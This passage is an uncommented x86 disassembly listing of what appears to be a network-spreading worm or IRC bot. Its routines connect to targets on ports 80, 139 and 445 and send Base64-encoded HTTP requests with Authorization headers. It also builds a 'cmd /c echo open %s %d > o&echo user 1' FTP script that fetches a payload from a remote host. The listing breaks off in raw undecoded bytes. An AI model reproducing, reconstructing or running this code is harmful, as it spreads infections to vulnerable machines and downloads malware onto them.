[esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 26705B3h nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 26E0000h nop test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 0B8h ; db 0DCh ; db 60h ; ` db 0 db 0 db 0E8h ; db 78h ; x db 0E1h ; db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; db 0D4h ; db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; db 0A8h ; db 0F7h ; db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; db 85h ; db 0C0h ; db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; db 0FFh db 0FFh db 68h ; h db 44h ; D db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; db 0A6h ; db 